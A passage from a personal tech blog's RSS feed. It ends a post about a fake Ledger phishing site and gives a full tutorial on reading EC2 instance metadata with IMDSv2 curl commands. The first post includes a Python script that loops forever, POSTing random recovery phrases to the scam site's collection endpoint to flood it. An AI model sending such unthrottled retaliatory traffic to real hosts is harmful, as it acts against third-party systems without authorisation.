<a href="https://www.ledger.com/" target="_blank" rel="noopener">Ledger</a>. I immediately knew it was a scam.</p>
<img src="/ledger-scammers/scam-email.webp" alt="Email pretending to be from Ledger" width="720" height="675" style="max-width: 100%; height: auto; aspect-ratio: 1240 / 1164;" loading="lazy" decoding="async">
<p>I decided to take a peek at <code>vaultscanner.com</code> just for fun. The site looked like a genuine Ledger site. This site was created with more effort than other scam sites I&rsquo;ve seen.</p>
<img src="/ledger-scammers/fake-ledger-site.webp" alt="The fake Ledger website." width="720" height="417" style="max-width: 100%; height: auto; aspect-ratio: 3456 / 2004;" loading="lazy" decoding="async">
<p>I clicked on a random Ledger device and it played a &ldquo;connecting&rdquo; animation.</p>
<img src="/ledger-scammers/connecting-device.webp" alt="Fake Ledger site showing a Ledger device connecting." width="720" height="417" style="max-width: 100%; height: auto; aspect-ratio: 3456 / 2004;" loading="lazy" decoding="async">
<p>After that I got an error. It&rsquo;s obviously fake. How can my Ledger data be damaged if I didn&rsquo;t connect a Ledger device to begin with? I don&rsquo;t even own one.</p>
<img src="/ledger-scammers/fake-error.webp" alt="Fake error" width="720" height="417" style="max-width: 100%; height: auto; aspect-ratio: 3456 / 2004;" loading="lazy" decoding="async">
<p>And of course, the site then prompts for the recovery phrase.</p>
<img src="/ledger-scammers/recovery-phrase-entry.webp" alt="Fake Ledger site asking for recovery phrase" width="720" height="417" style="max-width: 100%; height: auto; aspect-ratio: 3456 / 2004;" loading="lazy" decoding="async">
<p>I checked the browser dev tools to see where this phrase was going to. It was getting sent as a query string to <code>/data1.php</code> as a <code>POST</code> request.</p>
<img src="/ledger-scammers/dev-tools.webp" alt="Developer tools showing where the recovery phrase was sent" width="720" height="351" style="max-width: 100%; height: auto; aspect-ratio: 2302 / 1124;" loading="lazy" decoding="async">
<h2 id="writing-a-python-script">Writing a Python Script</h2>
<p>I had an idea to write a quick Python script to send fake data to the scammers. This is something I&rsquo;ve done in the past to MetaMask scammers: 

<a href="https://nelson.cloud/retaliating-against-metamask-scammers-with-python/">Retaliating Against MetaMask Scammers With Python</a>.</p>
<p>With some quick research, I found that the recovery phrases for Ledger devices are created using the same wordlist that MetaMask uses. I also learned that Ledger recovery phrases are 24 words long. With this information I was ready to start writing a script.</p>
<p>Here&rsquo;s the script I came up with:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span><span class="lnt">40
</span><span class="lnt">41
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">requests</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">random</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">time</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># List of words from https://github.com/bitcoin/bips/blob/master/bip-0039/english.txt</span>
</span></span><span class="line"><span class="cl"><span class="c1"># (Trimmed due to long length)</span>
</span></span><span class="line"><span class="cl"><span class="n">WORDLIST</span> <span class="o">=</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;abandon&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;ability&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;able&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;about&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;above&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="o">.</span>
</span></span><span class="line"><span class="cl">    <span class="o">.</span>
</span></span><span class="line"><span class="cl">    <span class="o">.</span>
</span></span><span class="line"><span class="cl"><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">requests_sent</span> <span class="o">=</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">while</span> <span class="kc">True</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># getting list of 24 random words</span>
</span></span><span class="line"><span class="cl">    <span class="n">recovery_phrase</span> <span class="o">=</span> <span class="n">random</span><span class="o">.</span><span class="n">sample</span><span class="p">(</span><span class="n">WORDLIST</span><span class="p">,</span> <span class="mi">24</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># joining the list of 24 words into a single string</span>
</span></span><span class="line"><span class="cl">    <span class="n">recovery_phrase</span> <span class="o">=</span> <span class="s2">&#34; &#34;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">recovery_phrase</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># query string for request</span>
</span></span><span class="line"><span class="cl">    <span class="n">params</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;privateKey&#34;</span><span class="p">:</span> <span class="n">recovery_phrase</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;token&#34;</span><span class="p">:</span> <span class="s2">&#34;Ledger&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># sending POST request</span>
</span></span><span class="line"><span class="cl">    <span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;https://vaultscanner.com/data1.php&#34;</span><span class="p">,</span> <span class="n">params</span><span class="o">=</span><span class="n">params</span><span class="p">,</span> <span class="n">headers</span><span class="o">=</span><span class="p">{}</span>
</span></span><span class="line"><span class="cl">    <span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">requests_sent</span> <span class="o">=</span> <span class="n">requests_sent</span> <span class="o">+</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># Output</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;Requests sent: </span><span class="si">{</span><span class="n">requests_sent</span><span class="si">}</span><span class="s2">, Status code: </span><span class="si">{</span><span class="n">response</span><span class="o">.</span><span class="n">status_code</span><span class="si">}</span><span class="s2">, Phrase sent: </span><span class="si">{</span><span class="n">recovery_phrase</span><span class="si">}</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Then I just let it run for a while to give the scammers a ton of fake data.</p>
<img src="/ledger-scammers/terminal.webp" alt="Terminal output when running Python script." width="720" height="307" style="max-width: 100%; height: auto; aspect-ratio: 3016 / 1290;" loading="lazy" decoding="async">
<p>I hope I made scamming/phishing more difficult for them :)</p>
]]></content:encoded>
    </item>
    <item>
      <title>Getting EC2 Instance Metadata Using IMDSv2</title>
      <link>https://nelson.cloud/getting-ec2-instance-metadata-using-imdsv2/?ref=rss</link>
      <pubDate>Fri, 01 Dec 2023 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/getting-ec2-instance-metadata-using-imdsv2/?ref=rss</guid>
      <description>Curl examples for retrieving EC2 instance metadata using IMDSv2 including IP address, instance ID, and security groups.</description><content:encoded><![CDATA[<p>The EC2 Instance Metadata Service (IMDS) allows us to make an API call within an EC2 instance to retrieve instance metadata, such as a local IP address. There are 2 versions of IMDS.</p>
<p>Using IMDSv1, all we needed to do was to hit the <code>http://169.254.169.254/latest/meta-data/</code> endpoint to retrieve metadata. I previously created a post with some examples: 

<a href="https://nelson.cloud/getting-ec2-instance-metadata-using-imdsv1/">Getting EC2 Instance Metadata Using IMDSv1</a>.</p>
<p>Using IMDSv2, we now need to make an API call to <code>http://169.254.169.254/latest/api/token</code> to retrieve a token, then include that token in a <code>X-aws-ec2-metadata-token</code> header to hit the metadata endpoint <code>http://169.254.169.254/latest/meta-data/</code>.</p>
<p>During EC2 creation you can configure your instance to use IMDSv2. This is what the setting looks like under &ldquo;Advanced details&rdquo; when creating an EC2 Instance. As of December 2023, it defaulted to &ldquo;V2 only (token required)&rdquo;:
<img src="/getting-ec2-metadata-using-imdsv2/imdsv2.webp" alt="AWS EC2 creation process" width="720" height="414" style="max-width: 100%; height: auto; aspect-ratio: 1140 / 656;" loading="lazy" decoding="async"></p>
<p>Once IMDSv2 is enabled on an instance, you can SSH into your instance and start making API calls from within.</p>
<h2 id="useful-examples">Useful Examples</h2>
<p>Here are some examples I&rsquo;ve found useful in my career.</p>
<p>View all available categories of metadata:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl"><span class="nv">TOKEN</span><span class="o">=</span><span class="sb">`</span>curl -s -X PUT <span class="s2">&#34;http://169.254.169.254/latest/api/token&#34;</span> -H <span class="s2">&#34;X-aws-ec2-metadata-token-ttl-seconds: 21600&#34;</span><span class="sb">`</span> <span class="se">\
</span></span></span><span class="line"><span class="cl"><span class="o">&amp;&amp;</span> curl -H <span class="s2">&#34;X-aws-ec2-metadata-token: </span><span class="nv">$TOKEN</span><span class="s2">&#34;</span> http://169.254.169.254/latest/meta-data/
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#---- output ----#</span>
</span></span><span class="line"><span class="cl">ami-id
</span></span><span class="line"><span class="cl">ami-launch-index
</span></span><span class="line"><span class="cl">ami-manifest-path
</span></span><span class="line"><span class="cl">block-device-mapping/
</span></span><span class="line"><span class="cl">events/
</span></span><span class="line"><span class="cl">hostname
</span></span><span class="line"><span class="cl">iam/
</span></span><span class="line"><span class="cl">identity-credentials/
</span></span><span class="line"><span class="cl">instance-action
</span></span><span class="line"><span class="cl">instance-id
</span></span><span class="line"><span class="cl">instance-life-cycle
</span></span><span class="line"><span class="cl">instance-type
</span></span><span class="line"><span class="cl">local-hostname
</span></span><span class="line"><span class="cl">local-ipv4
</span></span><span class="line"><span class="cl">mac
</span></span><span class="line"><span class="cl">metrics/
</span></span><span class="line"><span class="cl">network/
</span></span><span class="line"><span class="cl">placement/
</span></span><span class="line"><span class="cl">profile
</span></span><span class="line"><span class="cl">public-hostname
</span></span><span class="line"><span class="cl">public-ipv4
</span></span><span class="line"><span class="cl">reservation-id
</span></span><span class="line"><span class="cl">security-groups
</span></span><span class="line"><span class="cl">services/
</span></span></code></pre></td></tr></table>
</blockquote><p>Get instance AMI ID:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl"><span class="nv">TOKEN</span><span class="o">=</span><span class="sb">`</span>curl -s -X PUT <span class="s2">&#34;http://169.254.169.254/latest/api/token&#34;</span> -H <span class="s2">&#34;X-aws-ec2-metadata-token-ttl-seconds: 21600&#34;</span><span class="sb">`</span> <span class="se">\
</span></span></span><span class="line"><span class="cl"><span class="o">&amp;&amp;</span> curl -H <span class="s2">&#34;X-aws-ec2-metadata-token: </span><span class="nv">$TOKEN</span><span class="s2">&#34;</span> http://169.254.169.254/latest/meta-data/ami-id
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#---- output ----#</span>
</span></span><span class="line"><span class="cl">ami-0230bd60aa48260c6
</span></span></code></pre></td></tr></table>
</blockquote><p>Get hostname:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl"><span class="nv">TOKEN</span><span class="o">=</span><span class="sb">`</span>curl -s -X PUT <span class="s2">&#34;http://169.254.169.254/latest/api/token&#34;</span> -H <span class="s2">&#34;X-aws-ec2-metadata-token-ttl-seconds: 21600&#34;</span><span class="sb">`</span> <span class="se">\
</span></span></span><span class="line"><span class="cl"><span class="o">&amp;&amp;</span> curl -H <span class="s2">&#34;X-aws-ec2-metadata-token: </span><span class="nv">$TOKEN</span><span class="s2">&#34;</span> http://169.254.169.254/latest/meta-data/hostname
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#---- output ----#</span>
</span></span><span class="line"><span class="cl">ip-172-31-42-147.ec2.internal
</span></span></code></pre></td></tr></table>
</blockquote><p>Get instance ID:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl"><span class="nv">TOKEN</span><span class="o">=</span><span class="sb">`</span>curl -s -X PUT <span class="s2">&#34;http://169.254.169.254/latest/api/token&#34;</span> -H <span class="s2">&#34;X-aws-ec2-metadata-token-ttl-seconds: 21600&#34;</span><span class="sb">`</span> <span class="se">\
</span></span></span><span class="line"><span class="cl"><span class="o">&amp;&amp;</span> curl -H <span class="s2">&#34;X-aws-ec2-metadata-token: </span><span class="nv">$TOKEN</span><span class="s2">&#34;</span> http://169.254.169.254/latest/meta-data/instance-id
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#---- output ----#</span>
</span></span><span class="line"><span class="cl">i-0bca16d8b48523ac7
</span></span></code></pre></td></tr></table>
</blockquote><p>Get instance type:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl"><span class="nv">TOKEN</span><span class="o">=</span><span class="sb">`</span>curl -s -X PUT <span class="s2">&#34;http://169.254.169.254/latest/api/token&#34;</span> -H <span class="s2">&#34;X-aws-ec2-metadata-token-ttl-seconds: 21600&#34;</span><span class="sb">`</span> <span class="se">\
</span></span></span><span class="line"><span class="cl"><span class="o">&amp;&amp;</span> curl -H <span class="s2">&#34;X-aws-ec2-metadata-token: </span><span class="nv">$TOKEN</span><span class="s2">&#34;</span> http://169.254.169.254/latest/meta-data/instance-type
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#---- output ----#</span>
</span></span><span class="line"><span class="cl">t2.micro
</span></span></code></pre></td></tr></table>
</blockquote><p>Get local IPv4 address:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl"><span class="nv">TOKEN</span><span class="o">=</span><span class="sb">`</span>curl -s -X PUT <span class="s2">&#34;http://169.254.169.254/latest/api/token&#34;</span> -H <span class="s2">&#34;X-aws-ec2-metadata-token-ttl-seconds: 21600&#34;</span><span class="sb">`</span> <span class="se">\
</span></span></span><span class="line"><span class="cl"><span class="o">&amp;&amp;</span> curl -H <span class="s2">&#34;X-aws-ec2-metadata-token: </span><span class="nv">$TOKEN</span><span class="s2">&#34;</span> http://169.254.169.254/latest/meta-data/local-ipv4
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#---- output ----#</span>
</span></span><span class="line"><span class="cl">172.31.42.147
</span></span></code></pre></td></tr></table>
</blockquote><p>Get AWS account ID:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl"><span class="nv">TOKEN</span><span class="o">=</span><span class="sb">`</span>curl -s -X PUT <span class="s2">&#34;http://169.254.169.254/latest/api/token&#34;</span> -H <span class="s2">&#34;X-aws-ec2-metadata-token-ttl-seconds: 21600&#34;</span><span class="sb">`</span> <span class="se">\
</span></span></span><span class="line"><span class="cl"><span class="o">&amp;&amp;</span> curl -s -H <span class="s2">&#34;X-aws-ec2-metadata-token: </span><span class="nv">$TOKEN</span><span class="s2">&#34;</span> http://169.254.169.254/latest/meta-data/identity-credentials/ec2/info <span class="p">|</span> grep <span class="s2">&#34;AccountId&#34;</span> <span class="p">|</span> awk -F<span class="se">\&#34;</span> <span class="s1">&#39;{print $4}&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#---- output ----#</span>
</span></span><span class="line"><span class="cl"><span class="m">123456789012</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Get MAC address:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl"><span class="nv">TOKEN</span><span class="o">=</span><span class="sb">`</span>curl -s -X PUT <span class="s2">&#34;http://169.254.169.254/latest/api/token&#34;</span> -H <span class="s2">&#34;X-aws-ec2-metadata-token-ttl-seconds: 21600&#34;</span><span class="sb">`</span> <span class="se">\
</span></span></span><span class="line"><span class="cl"><span class="o">&amp;&amp;</span> curl -H <span class="s2">&#34;X-aws-ec2-metadata-token: </span><span class="nv">$TOKEN</span><span class="s2">&#34;</span> http://169.254.169.254/latest/meta-data/mac
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#---- output ----#</span>
</span></span><span class="line"><span class="cl">0e:53:26:7a:45:0b
</span></span></code></pre></td></tr></table>
</blockquote><p>Get availability zone:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl"><span class="nv">TOKEN</span><span class="o">=</span><span class="sb">`</span>curl -s -X PUT <span class="s2">&#34;http://169.254.169.254/latest/api/token&#34;</span> -H <span class="s2">&#34;X-aws-ec2-metadata-token-ttl-seconds: 21600&#34;</span><span class="sb">`</span> <span class="se">\
</span></span></span><span class="line"><span class="cl"><span class="o">&amp;&amp;</span> curl -H <span class="s2">&#34;X-aws-ec2-metadata-token: </span><span class="nv">$TOKEN</span><span class="s2">&#34;</span> http://169.254.169.254/latest/meta-data/placement/availability-zone
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#---- output ----#</span>
</span></span><span class="line"><span class="cl">us-east-1c
</span></span></code></pre></td></tr></table>
</blockquote><p>Get availability zone ID:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl"><span class="nv">TOKEN</span><span class="o">=</span><span class="sb">`</span>curl -s -X PUT <span class="s2">&#34;http://169.254.169.254/latest/api/token&#34;</span> -H <span class="s2">&#34;X-aws-ec2-metadata-token-ttl-seconds: 21600&#34;</span><span class="sb">`</span> <span class="se">\
</span></span></span><span class="line"><span class="cl"><span class="o">&amp;&amp;</span> curl -H <span class="s2">&#34;X-aws-ec2-metadata-token: </span><span class="nv">$TOKEN</span><span class="s2">&#34;</span> http://169.254.169.254/latest/meta-data/placement/availability-zone-id
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#---- output ----#</span>
</span></span><span class="line"><span class="cl">use1-az6
</span></span></code></pre></td></tr></table>
</blockquote><p>Get security groups associated with the instance:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl"><span class="nv">TOKEN</span><span class="o">=</span><span class="sb">`</span>curl -s -X PUT <span class="s2">&#34;http://169.254.169.254/latest/api/token&#34;</span> -H <span class="s2">&#34;X-aws-ec2-metadata-token-ttl-seconds: 21600&#34;</span><span class="sb">`</span> <span class="se">\
</span></span></span><span class="line"><span class="cl"><span class="o">&amp;&amp;</span> curl -H <span class="s2">&#34;X-aws-ec2-metadata-token: </span><span class="nv">$TOKEN</span><span class="s2">&#34;</span> http://169.254.169.254/latest/meta-data/security-groups
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#---- output ----#</span>
</span></span><span class="line"><span class="cl">my-security-group-1
</span></span><span class="line"><span class="cl">my-security-group-2
</span></span><span class="line"><span class="cl">my-security-group-3
</span></span></code></pre></td></tr></table>
</blockquote><h2 id="bash-script">Bash Script</h2>
<p>Copy and paste this Bash snippet and use the assigned values as needed:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="nv">TOKEN</span><span class="o">=</span><span class="k">$(</span>curl -s -X PUT <span class="s2">&#34;http://169.254.169.254/latest/api/token&#34;</span> -H <span class="s2">&#34;X-aws-ec2-metadata-token-ttl-seconds: 21600&#34;</span><span class="k">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">ACCOUNT_ID</span><span class="o">=</span><span class="k">$(</span>curl -s -H <span class="s2">&#34;X-aws-ec2-metadata-token: </span><span class="nv">$TOKEN</span><span class="s2">&#34;</span> http://169.254.169.254/latest/meta-data/identity-credentials/ec2/info <span class="p">|</span> grep <span class="s2">&#34;AccountId&#34;</span> <span class="p">|</span> awk -F<span class="se">\&#34;</span> <span class="s1">&#39;{print $4}&#39;</span><span class="k">)</span>
</span></span><span class="line"><span class="cl"><span class="nv">AMI_ID</span><span class="o">=</span><span class="k">$(</span>curl -s -H <span class="s2">&#34;X-aws-ec2-metadata-token: </span><span class="nv">$TOKEN</span><span class="s2">&#34;</span> http://169.254.169.254/latest/meta-data/ami-id<span class="k">)</span>
</span></span><span class="line"><span class="cl"><span class="nv">AVAILABILITY_ZONE</span><span class="o">=</span><span class="k">$(</span>curl -s -H <span class="s2">&#34;X-aws-ec2-metadata-token: </span><span class="nv">$TOKEN</span><span class="s2">&#34;</span> http://169.254.169.254/latest/meta-data/placement/availability-zone<span class="k">)</span>
</span></span><span class="line"><span class="cl"><span class="nv">AVAILABILITY_ZONE_ID</span><span class="o">=</span><span class="k">$(</span>curl -s -H <span class="s2">&#34;X-aws-ec2-metadata-token: </span><span class="nv">$TOKEN</span><span class="s2">&#34;</span> http://169.254.169.254/latest/meta-data/placement/availability-zone-id<span class="k">)</span>
</span></span><span class="line"><span class="cl"><span class="nv">HOSTNAME</span><span class="o">=</span><span class="k">$(</span>curl -s -H <span class="s2">&#34;X-aws-ec2-metadata-token: </span><span class="nv">$TOKEN</span><span class="s2">&#34;</span> http://169.254.169.254/latest/meta-data/hostname<span class="k">)</span>
</span></span><span class="line"><span class="cl"><span class="nv">INSTANCE_ID</span><span class="o">=</span><span class="k">$(</span>curl -s -H <span class="s2">&#34;X-aws-ec2-metadata-token: </span><span class="nv">$TOKEN</span><span class="s2">&#34;</span> http://169.254.169.254/latest/meta-data/instance-id<span class="k">)</span>
</span></span><span class="line"><span class="cl"><span class="nv">INSTANCE_TYPE</span><span class="o">=</span><span class="k">$(</span>curl -s -H <span class="s2">&#34;X-aws-ec2-metadata-token: </span><span class="nv">$TOKEN</span><span class="s2">&#34;</span> http://169.254.169.254/latest/meta-data/instance-type<span class="k">)</span>
</span></span><span class="line"><span class="cl"><span class="nv">LOCAL_IPV4</span><span class="o">=</span><span class="k">$(</span>curl -s -H <span class="s2">&#34;X-aws-ec2-metadata-token: </span><span class="nv">$TOKEN</span><span class="s2">&#34;</span> http://169.254.169.254/latest/meta-data/local-ipv4<span class="k">)</span>
</span></span><span class="line"><span class="cl"><span class="nv">MAC_ADDRESS</span><span class="o">=</span><span class="k">$(</span>curl -s -H <span class="s2">&#34;X-aws-ec2-metadata-token: </span><span class="nv">$TOKEN</span><span class="s2">&#34;</span> http://169.254.169.254/latest/meta-data/mac<span class="k">)</span>
</span></span><span class="line"><span class="cl"><span class="nv">SECURITY_GROUPS</span><span class="o">=</span><span class="k">$(</span>curl -s -H <span class="s2">&#34;X-aws-ec2-metadata-token: </span><span class="nv">$TOKEN</span><span class="s2">&#34;</span> http://169.254.169.254/latest/meta-data/security-groups<span class="k">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> <span class="nv">$ACCOUNT_ID</span>
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> <span class="nv">$AMI_ID</span>
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> <span class="nv">$AVAILABILITY_ZONE</span>
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> <span class="nv">$AVAILABILITY_ZONE_ID</span>
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> <span class="nv">$HOSTNAME</span>
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> <span class="nv">$INSTANCE_ID</span>
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> <span class="nv">$INSTANCE_TYPE</span>
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> <span class="nv">$LOCAL_IPV4</span>
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> <span class="nv">$MAC_ADDRESS</span>
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> <span class="nv">$SECURITY_GROUPS</span>
</span></span></code></pre></td></tr></table>
</blockquote><h2 id="references">References</h2>
<ul>
<li>

<a href="https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-retrieval.html" target="_blank" rel="noopener">https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-retrieval.html</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Company Missions are Bullshit</title>
